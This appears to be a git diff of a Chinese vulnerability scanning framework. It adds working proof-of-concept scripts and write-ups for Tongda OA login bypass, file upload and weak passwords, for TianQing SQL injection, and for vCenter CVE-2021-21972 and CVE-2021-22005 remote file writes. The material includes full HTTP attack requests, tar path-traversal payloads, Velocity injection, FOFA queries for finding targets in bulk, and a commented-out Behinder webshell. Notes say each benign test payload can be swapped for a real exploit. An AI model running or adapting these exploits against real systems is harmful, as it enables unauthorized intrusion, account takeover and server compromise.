from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='TDXK_Any user login'
AUTHOR="境心"
REMARK='TDXK_任意用户登录'
FOFA_RULE='app="TDXK-通达OA"'
######################################################
def poc(target):
result = {}
# 第一步
login_code_url = target+"/ispirit/login_code.php"
login_code_headers = {
"User-Agent" : ua
}
login_code_res = requests.get(login_code_url,headers=login_code_headers, verify=False,timeout=5)
login_code_res = eval(login_code_res.text)
try:
codeuid = login_code_res['codeuid']
except:
pass
else:
# 第二步
login_code_scan_url = target+"/general/login_code_scan.php"
login_code_scan_headers = {
"User-Agent" : ua
}
login_code_scan_data = {
"uid" : "1",
"codeuid" : codeuid,
"type" : "confirm",
"source" : "pc",
"username" : "admin"
}
# 第三步
login_code_scan_res = requests.post(login_code_scan_url,data=login_code_scan_data,headers=login_code_scan_headers, verify=False,timeout=5)
if "1" in login_code_scan_res.text:
login_code_check_url = target+"/ispirit/login_code_check.php?codeuid="+codeuid
login_code_check_headers = {
"User-Agent" : ua
}
login_code_check_res = requests.get(login_code_check_url,headers=login_code_check_headers, verify=False,timeout=5)
if "confirm" in login_code_check_res.text:
login_cookie = login_code_check_res.headers['Set-Cookie']
# 第四步
target_url = target+"/general/index.php"
headers = {
"User-Agent": ua,
"Cookie" : login_cookie
}
target_res = requests.get(target_url,headers=headers,verify=False,timeout=5)
try:
title = re.findall('<title>(.*)</title>', str(target_res.text))[0]
except:
title = ""
result['vul_url'] = target_url
result['cookie'] = login_cookie
result['title'] = title
result['message'] = "存在任意用户登录漏洞"
return result
if __name__ == '__main__':
poc("http://127.0.0.1")

View File

@@ -0,0 +1,85 @@
# 1、漏洞描述
通达OA部分版本在成功登录系统后存在任意文件上传漏洞配合手动设置的上传文件保存路径可直接getshell。
# 2、影响范围
V11.2
V11.3
# 3、漏洞复现
登陆后,选择菜单-->系统管理员-->附件管理;
然后配置文件保存路径若真实环境中已经保存了上传路径并且上传路径为webroot目录之下的任何一个子目录则可不用修改直接用即可。
![](images/21.png)
文件上传位置在,组织-->系统管理员-->上传附件默认文件上传位置C:\MYOA\attach\im\2108因为不在web目录下边所以不能通过web直接访问可借助文件包含试试
![](images/22.png)
上传文件时抓包同时利用Windows文件命名特性后缀加.绕过文件上传黑名单,
![](images/23.png)
上传后的目录则在设置的主目录下的im/上传返回的一串数字/文件名,这个2108为im目录的子目录下划线后边的这串数字则为文件名的一部分整个文件名在这里是1664170897.21.php命名规则为返回的这串数字+.+上传的文件名;
![](images/24.png)
POST包
```python
POST /module/upload/upload.php?module=im HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------405175731128638857693749932995
Content-Length: 948
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/general/index.php?isIE=0&modify_pwd=0
Cookie: USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=5197c48a; PHPSESSID=v0vakndetps2s3o506alv3fhc5
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="name"
21.php
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="type"
application/octet-stream
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="lastModifiedDate"
2021/8/30 上午10:41:07
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="size"
31
-----------------------------405175731128638857693749932995
Content-Disposition: form-data; name="file"; filename="21.php."
Content-Type: application/octet-stream
<?php
echo "this is a friendly test, Please check and repair upload vulnerabilities."
?>
-----------------------------405175731128638857693749932995--
```
# 4、poc
poc这里只验证是否能上传上去没有考虑上传后的目录问题不过只要能上传上去上传后的目录也就能知道上边也有写。
poc这里调用了通达OA的另外两个漏洞任意在线用户登录、任意用户登录为了方便能够在只知道url的情况下直接验证配合框架可以批量。

View File

@@ -0,0 +1,114 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import re
import requests.packages.urllib3
import io
from Config.config_requests import ua
from Moudle.TDXK.TDXK_Any_user_login import poc as poc1
from Moudle.TDXK.TDXK_online_user_login import poc as poc2
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='TDXK_logined any file upload'
AUTHOR="境心"
REMARK='TDXK_登录后任意文件上传'
FOFA_RULE='app="TDXK-通达OA"'
######################################################
def poc_content():
content = """-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="name"
test.php
-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="type"
application/octet-stream
-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="lastModifiedDate"
2021/8/25 下午2:58:14
-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="size"
31
-----------------------------340010984629733334144172362322
Content-Disposition: form-data; name="file"; filename="test.php."
Content-Type: application/octet-stream
<?php
echo "this is a friendly test, Please check and repair upload vulnerabilities."
?>
-----------------------------340010984629733334144172362322--"""
mem_string = io.StringIO()
mem_string.write(content)
mem_string.seek(0)
return mem_string
def get_cookie(target):
result1 = poc1(target)
if result1['cookie']:
cookie = result1['cookie']
else:
result2 = poc2(target)
if result2['cookie']:
cookie = result2['cookie']
return cookie
def poc(target,cookie=None):
result = {}
mem_string = poc_content()
upload_url = target+"/module/upload/upload.php?module=im"
target_tmp_file = [('file', ('test.php', mem_string.read(), 'image/jpeg'))]
if cookie != None:
cookie = cookie
headers = {
"User-Agent": ua,
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------340010984629733334144172362322",
"Cookie": cookie,
"Connection": "close"
}
target_res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
res_text = target_res.text
if "test.php" in res_text and "SUCCESS" in res_text:
target_tmp_path = re.findall('@(\d+)_', str(res_text))[0]
target_tmp_filename = re.findall('@\d+_(\d+)', str(res_text))[0]
target_filename = target_tmp_filename + '.test.php'
print("文件位置: 未知上层目录/im/" + target_tmp_path + "/"+target_filename)
elif cookie == None:
cookie = get_cookie(target)
headers = {
"User-Agent": ua,
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------340010984629733334144172362322",
"Cookie": cookie,
"Connection": "close"
}
target_res = requests.post(upload_url, headers=headers, files=target_tmp_file, verify=False, timeout=5)
res_text = target_res.text
if "test.php" in res_text and "SUCCESS" in res_text:
target_tmp_path = re.findall('@(\d+)_', str(res_text))[0]
target_tmp_filename = re.findall('@\d+_(\d+)', str(res_text))[0]
target_filename = target_tmp_filename+'.test.php'
result['文件位置'] = "未知上层目录/im/"+target_tmp_path+"/"+target_filename
result['poc'] = NAME
result['message'] = '存在登录后任意文件上传漏洞'
return result
if __name__ == '__main__':
# 结合任意登录漏洞盲测
poc("http://127.0.0.1")
# 盲测无结果,但能获取到账号的情况下,精准测试
# poc("http://127.0.0.1","PHPSESSID=tbd8hi89eqtbeadt29rmort167; path=/")

View File

@@ -0,0 +1,49 @@
# 1、写在前方
漏洞利用虽然不复杂但是因为条件限制有点看脸的赶脚fofa上第二页才找到一个可利用的所以吧。。。
# 2、漏洞描述
通达OA V11.7版本存在任意在线用户登录漏洞,只需账号是已登录状态,其他访问者无需账号、密码即可登录该账号。
使用fofa语句搜索该版本的通达OA
```
app="TDXK-通达OA"
```
# 3、漏洞验证
## 3.1、漏洞URL
访问如下URL重点是URI部分尤其是uid更改遍历uid的值数字即可实现任意在线用户登录。
```
http://x.x.x.x:port/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
```
## 3.2、漏洞验证
页面返回为空白,则证明可利用
![](images/31.png)
页面返回RELOGIN则不能利用
![](images/32.jpg)
若漏洞可利用则我们已经获取到了登录的cookie
![](images/33.jpg)
# 4、漏洞利用
此时我们将URL改为如下内容其实改的URI部分然后访问发现就已经成功登录了。
```
http://x.x.x.x:port/general/
```
![](images/34.jpg)
# 5、脚本
这个漏洞poc与exp差不多脚本会返回漏洞URL、可直接登录的cookie与框架结合可批量。

View File

@@ -0,0 +1,37 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='TDXK_online user login'
AUTHOR="境心"
REMARK='TDXK_任意在线用户登录'
FOFA_RULE='app="TDXK-通达OA"'
######################################################
def poc(target):
result = {}
vul_url = target+"/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"
res = requests.get(vul_url, headers=headers, verify=False,timeout=5)
if res.status_code == 200 and res.text == "RELOGIN":
pass
elif res.status_code == 200 and res.text == "":
res_headers = res.headers
cookie = res_headers['Set-Cookie']
result['vul_url'] = vul_url
result['cookie'] = cookie
result['poc'] = NAME
result['message'] = "存在任意在线用户登录漏洞"
return result
if __name__ == '__main__':
poc("http://127.0.0.1:8088/")

View File

@@ -0,0 +1,46 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import base64
import requests
import requests.packages.urllib3
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='TDXK_weakpwd'
AUTHOR="nuoyan"
REMARK='TDXK_弱口令'
FOFA_RULE='app="TDXK-通达OA"'
######################################################
def poc(target):
result = {}
vul_url = target+"/logincheck.php"
dic=['','123456','admin','123456789','1','123','111111']
for i in dic:
postdata = {
'UNAME': 'admin',
'PASSWORD': base64.b64encode(i.encode()).decode(),
'encode_type': '1',
}
res = requests.post(vul_url, headers=headers,data=postdata, verify=False,timeout=10)
if 'goto_oa' in res.text:
result['target'] = target
result['poc'] = NAME
result['message'] = "存在admin弱口令:{}".format(i)
return result
pass
else:
pass
if __name__ == '__main__':
poc("http://127.0.0.1:8088/")

BIN
Moudle/TDXK/images/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

BIN
Moudle/TDXK/images/11.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

BIN
Moudle/TDXK/images/12.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

BIN
Moudle/TDXK/images/13.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 122 KiB

BIN
Moudle/TDXK/images/14.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

BIN
Moudle/TDXK/images/15.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

BIN
Moudle/TDXK/images/16.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

BIN
Moudle/TDXK/images/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 105 KiB

BIN
Moudle/TDXK/images/21.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 KiB

BIN
Moudle/TDXK/images/22.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

BIN
Moudle/TDXK/images/23.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 106 KiB

BIN
Moudle/TDXK/images/24.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

BIN
Moudle/TDXK/images/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 62 KiB

BIN
Moudle/TDXK/images/31.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

BIN
Moudle/TDXK/images/32.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

BIN
Moudle/TDXK/images/33.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

BIN
Moudle/TDXK/images/34.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

BIN
Moudle/TDXK/images/4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 112 KiB

BIN
Moudle/TDXK/images/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

BIN
Moudle/TDXK/images/6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

BIN
Moudle/TDXK/images/7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

View File

@@ -0,0 +1,32 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME='TianQing_SQLinjection'
AUTHOR="JDQ"
REMARK='天擎终端安全管理系统SQL注入'
FOFA_RULE='icon_hash="-829652342"'
######################################################
def poc(target):
result = {}
headers={
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
try:
r = requests.get(target+"/api/dp/rptsvcsyncpoint?ccid=1",headers=headers, verify=False,timeout=10)
if r.status_code==200 and 'result":0,"reason":"success' in r.text:
result['vurl'] = target + "/api/dp/rptsvcsyncpoint?ccid=1"
result['poc'] = NAME
return result
except:
pass
if __name__ == '__main__':
poc("http://127.0.0.1")

View File

@@ -0,0 +1,35 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
requests.packages.urllib3.disable_warnings()
# 脚本信息
######################################################
NAME='TianQing_Unauthorized'
AUTHOR="JDQ"
REMARK='天擎终端安全管理系统未授权访问'
FOFA_RULE='icon_hash="-829652342"'
######################################################
def poc(target):
result = {}
headers={
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
try:
r = requests.get(target+"/api/dbstat/gettablessize",headers=headers, verify=False,timeout=10)
if r.status_code==200 and 'result":0,"reason":"success' in r.text:
result['vurl'] = target + "/api/dbstat/gettablessize"
result['poc'] = NAME
return result
except:
pass
if __name__ == '__main__':
poc("http://127.0.0.1")

BIN
Moudle/VCenter/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 77 KiB

View File

@@ -0,0 +1,111 @@
# 1、漏洞描述
vSphere ClientHTML5 在 vCenter Server 插件中存在一个未授权的上传API接口。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求写入webshell或向Linux系统的指定目录写入ssh 私钥,进而控制服务器。
fofa搜索方法见poc。
# 2、影响范围
vmware:vcenter_server 7.0 U1c 之前的 7.0 版本
vmware:vcenter_server 6.7 U3l 之前的 6.7 版本
vmware:vcenter_server 6.5 U3n 之前的 6.5 版本
# 3、漏洞分析
漏洞分析内容直接搬网上的,方便之后看漏洞部分代码
vCenter Server 的 vROPS 插件的 API 未经过鉴权,存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能:
```java
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();
```
代码逻辑是将 TAR 文件解压后上传到`/tmp/unicorn_ova_dir` 目录。注意到如下代码:
```java
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
```
直接将 TAR 的文件名与`/tmp/unicorn_ova_dir`拼接并写入文件。如果文件名内存在 ../ 即可实现目录遍历
**tips:**
如果是Linux系统并且开放了ssh端口可上传Linux的ssh 私钥,直接免密登录系统,创建一个包含`../../home/vsphere-ui/.ssh/authorized_keys`的 TAR 文件并上传后利用 SSH 登陆。
# 4、漏洞复现
手工复现的时候遇到一个坑看着POST包都没问题但是上传总是返回FAILED最后发现是上传的tar包没对应好操作系统这里应该是解压的时候不存在的目录也不会自动创建导致返回FAILED所以手工复现的时候要注意。
下边POST包中【上传的TAR包内容】部分内容不能直接复制不能更改要借用本地的文件上传环境抓包修改URI和HOST。
POST包
```java
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Content-Type: multipart/form-data; boundary=---------------------------211802199140467231863335463058
Content-Length: 2796
Connection: close
-----------------------------211802199140467231863335463058
Content-Disposition: form-data; name="uploadFile"; filename="Linux_t.tar"
Content-Type: application/x-tar
上传的TAR包内容
-----------------------------211802199140467231863335463058--
```
TAR包中的目录格式Windows系统的为`../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp`Linux系统的为`../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp`至于是poc还是exp更改test.jsp文件内容即可。
上传之后poc/exp的位置Windows系统的为`https://ip:port/statsreport/test.jsp`Linux系统的为`https://ip:port/ui/resources/test.jsp`。若更改了tar包中的poc/exp的文件名这里的文件名也相应的改变。
# 5、poc
这里也遇到了两个坑一是上传的时候不落地文件想着在内存中生成tar文件其中用到了tarfile.open关键是其中的fileobj参数以及TarInfo和addfile也是在本地的文件上传环境中不断尝试才成功。二是内存中操作数据的时候一定要在读取数据的时候使用seek移动读取的位置默认是数据写到哪就在哪个位置读取不用seek的话一般读到的都是空。
poc做了操作系统类型判断只返回有漏洞的URL和poc URL方便验证配合框架可批量更改content的内容即可为exp。

View File

@@ -0,0 +1,85 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
import tarfile
import io
from Config.config_requests import headers
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='CVE-2021-21972'
AUTHOR="境心"
REMARK='VCenter6.7及以下版本任意文件上传漏洞'
FOFA_RULE='title="+ ID_VC_Welcome +"'
######################################################
# 内存生成poc tar文件
def content_poc(target):
windows_filename = "../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/test.jsp"
linux_filename = "../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/test.jsp"
content = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
%>"""
system_type = ve_system_poc(target)
if system_type is not None:
mem_string = io.BytesIO()
tr_file = tarfile.open(fileobj=mem_string, mode='w')
if system_type == "windows":
info = tarfile.TarInfo(name=windows_filename)
info.size = len(content)
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
tr_file.close()
elif system_type == "linux":
info = tarfile.TarInfo(name=linux_filename)
info.size = len(content)
tr_file.addfile(info, io.BytesIO(content.encode('utf-8')))
tr_file.close()
return mem_string,system_type
# 判断系统类型1
def ve_system(target):
ve_url = target + '/Ui/vropspluginui/rest/services/uploadova'
res1 = requests.get(ve_url, headers=headers, verify=False, timeout=5)
return res1.status_code
# 判断系统类型2
def ve_system_poc(target):
vurl = target + '/ui/vropspluginui/rest/services/uploadova'
ve_res = requests.get(vurl, headers=headers, verify=False, timeout=5)
if ve_res.status_code == 405:
if ve_system(target) == ve_res.status_code:
return "windows"
else:
return "linux"
else:
return None
def poc(target):
result = {}
vurl = target + '/ui/vropspluginui/rest/services/uploadova'
mem_string,system_type = content_poc(target)
# 移动读写位置到最开始
mem_string.seek(0)
file = [('uploadFile', ('test.tar', mem_string.read(), 'application/x-tar'))]
res = requests.post(vurl, files=file, headers=headers, verify=False, timeout=5)
if "SUCCESS" in res.text:
if system_type == "windows":
poc_url = target + "/statsreport/test.jsp"
elif system_type == "linux":
poc_url = target + "/ui/resources/test.jsp"
res_1 = requests.get(poc_url, headers=headers, verify=False, timeout=5)
if res_1.status_code == 200 and "this is a friendly test" in res_1.text:
result['poc'] = NAME
result['vurl'] = vurl
result['pocurl'] = poc_url
return result
if __name__ == '__main__':
# poc调用
poc("http://127.0.0.1")

View File

@@ -0,0 +1,114 @@
# 漏洞简述
能够网络访问vCenter Server 上的 443 端口的攻击者可以通过构造上传请求,上传恶意文件,获取服务器权限,在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。
# 影响范围
VMware vCenter Server 7.0
VMware vCenter Server 6.7
# 漏洞复现
漏洞检测POST包
```java
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=1231231&_i=456456 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
X-Deployment-Secret: test
Content-Type: application/json
Content-Length: 252
{ "manifestSpec":{},"objectType": "a2","collectionTriggerDataNeeded": "True","deploymentDataNeeded":"True","resultNeeded": "True","signalCollectionCompleted":"True","localManifestPath": "a7",
"localPayloadPath": "a8","localObfuscationMapPath": "a9" }
```
返回包状态码为201证明存在漏洞
```java
HTTP/1.1 201
Content-Length: 0
Date: Thu, 21 Oct 2021 06:30:07 GMT
Server: Apache
```
注:
- URL中的_c和_i最好是随机生成因若多次请求同一个站这两个参数内容若与之前一样无论网站是否存在漏洞返回包状态码均固定为409
- header头中的X-Deployment-Secret必须要有Content-Type可以没有但最好带着
- data数据中的True手工测试的时候要用双引号引起来在从脚本到手工复现这个地方被坑了一会
漏洞poc/exp的POST包
```java
POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=1231231&_i=456456 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Content-Type: application/json
X-Deployment-Secret: test
Content-Length: 3590
{"contextData": "a3", "manifestContent": "<manifest recommendedPageSize=\"500\">\r\n <request>\r\n <query name=\"vir:VCenter\">\r\n <constraint>\r\n <targetType>ServiceInstance</targetType>\r\n </constraint>\r\n <propertySpec>\r\n <propertyNames>content.about.instanceUuid</propertyNames>\r\n <propertyNames>content.about.osType</propertyNames>\r\n <propertyNames>content.about.build</propertyNames>\r\n <propertyNames>content.about.version</propertyNames>\r\n </propertySpec>\r\n </query>\r\n </request>\r\n <cdfMapping>\r\n <indepedentResultsMapping>\r\n <resultSetMappings>\r\n <entry>\r\n <key>vir:VCenter</key>\r\n <value>\r\n <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\r\n <resourceItemToJsonLdMapping>\r\n <forType>ServiceInstance</forType>\r\n <mappingCode><![CDATA[ \r\n #set($appender = $GLOBAL-logger.logger.parent.getAppender(\"LOGFILE\"))##\r\n #set($orig_log = $appender.getFile())##\r\n #set($logger = $GLOBAL-logger.logger.parent)## \r\n $appender.setFile(\"/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/test.jsp\")## \r\n $appender.activateOptions()## \r\n $logger.warn(\"\u005c\u0075\u0030\u0030\u0033\u0063\u0025\u0040\u0020\u0070\u0061\u0067\u0065\u0020\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0054\u0079\u0070\u0065\u003d\u005c\u0075\u0030\u0030\u0032\u0032\u0074\u0065\u0078\u0074\u002f\u0068\u0074\u006d\u006c\u003b\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u003d\u0055\u0054\u0046\u002d\u0038\u005c\u0075\u0030\u0030\u0032\u0032\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u005c\u0075\u0030\u0030\u0032\u0032\u006a\u0061\u0076\u0061\u005c\u0075\u0030\u0030\u0032\u0032\u0020\u0025\u005c\u0075\u0030\u0030\u0033\u0065\u000d\u000a\u005c\u0075\u0030\u0030\u0033\u0063\u0025\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u005c\u0075\u0030\u0030\u0032\u0032\u0074\u0068\u0069\u0073\u0020\u0069\u0073\u0020\u0061\u0020\u0066\u0072\u0069\u0065\u006e\u0064\u006c\u0079\u0020\u0074\u0065\u0073\u0074\u002c\u0020\u0050\u006c\u0065\u0061\u0073\u0065\u0020\u0063\u0068\u0065\u0063\u006b\u0020\u0061\u006e\u0064\u0020\u0072\u0065\u0070\u0061\u0069\u0072\u0020\u0075\u0070\u006c\u006f\u0061\u0064\u0020\u0076\u0075\u006c\u006e\u0065\u0072\u0061\u0062\u0069\u006c\u0069\u0074\u0069\u0065\u0073\u002e\u005c\u0075\u0030\u0030\u0032\u0032\u0029\u003b\u0025\u005c\u0075\u0030\u0030\u0033\u0065\")## \r\n $appender.setFile($orig_log)## \r\n $appender.activateOptions()##]]>\r\n </mappingCode>\r\n </resourceItemToJsonLdMapping>\r\n </value>\r\n </value>\r\n </entry>\r\n </resultSetMappings>\r\n </indepedentResultsMapping>\r\n </cdfMapping>\r\n <requestSchedules>\r\n <schedule interval=\"1h\">\r\n <queries>\r\n <query>vir:VCenter</query>\r\n </queries>\r\n </schedule>\r\n </requestSchedules>\r\n </manifest>", "objectId": "a2"}
```
返回包状态码为200并且返回如下内容证明上传成功
```java
HTTP/1.1 200
Content-Type: application/json;charset=ISO-8859-1
Content-Length: 120
Date: Thu, 21 Oct 2021 06:56:40 GMT
Server: Apache
{"@type":"collection_completed","collection_completed_timestamp":1634799400166,"@id":"2555d5f7f87941498c4b482b9e3e40a4"}
```
要访问的上传文件地址为:ip、端口、文件名自行替换
```java
https://ip:port/idm/..;/test.jsp
```
注:
- 此POST包要在上一步的检测POST包之后使用并且URL中的_c和_i值至少要是历史中的上一步请求过的个人理解这两个参数是一个简单的验证所以这里最好是随机生成并且分别赋值给这两步中的两个参数保证每次都是随机不重复并且还是一样的
- X-Deployment-Secret与Content-Type与上一步中一样
- 作为文件上传data数据中大部分内容不用变只变动$appender.setFile和$logger.warn的内容前者是更改路径的文件名上传后要访问的文件后者是具体的poc/exp内容
- 仔细看应该也能看出来这部分最长的一段json的值在"前边加了\,因为"冲突了。其中的poc/exp部分做了Unicode编码并且<、>、"是做了两次Unicode编码的或者不嫌传输内容过长的话直接把全部的poc/exp的内容两次Unicode编码也可。不做两次Unicode编码的话上传上去的<、>、"会被实体化,导致无法解析;
- 亲测站长上的Unicode编码不好使即使两次编码传上去的文件依然无法解析。
附字符串转Unicode编码的脚本二次及以上编码的话编码后的内容再次当作字符串编码时每个\要替换为\\
```java
string = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");%>"""
string_unicode = ""
for i in string:
asc_chr = ord(i)
print(i)
aa = "\\u{:04x}".format(asc_chr)
string_unicode = string_unicode + aa
print(string_unicode)
```
顺手记录一下上传后情景:
![](1.png)
# poc/exp
根据需求自行注释切换poc还是exp不过在输出上更严的做了poc的判断没做exp是否成功的判断建议先使用poc验证再尝试exp完事手工验证一下是否被拦截。
与手工验证利用不一样的地方poc、exp部分的内容只需要做一次Unicode编码即可。

View File

@@ -0,0 +1,136 @@
#!/usr/bin/env python3
# _*_ coding:utf-8 _*_
import requests
import requests.packages.urllib3
import random
import string
from Config.config_requests import ua
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 脚本信息
######################################################
NAME='CVE-2021-22005'
AUTHOR="境心"
REMARK='VMware vCenter Analytics 任意文件上传漏洞'
FOFA_RULE='title="+ ID_VC_Welcome +"'
######################################################
def id_generate(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def poc_content(filename):
file_path = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % (filename)
poc_content_part = """<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% out.print("this is a friendly test, Please check and repair upload vulnerabilities.");
%>"""
# 冰蝎原始
# poc_content_part = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
poc_content_part_unicode = ""
for i in poc_content_part:
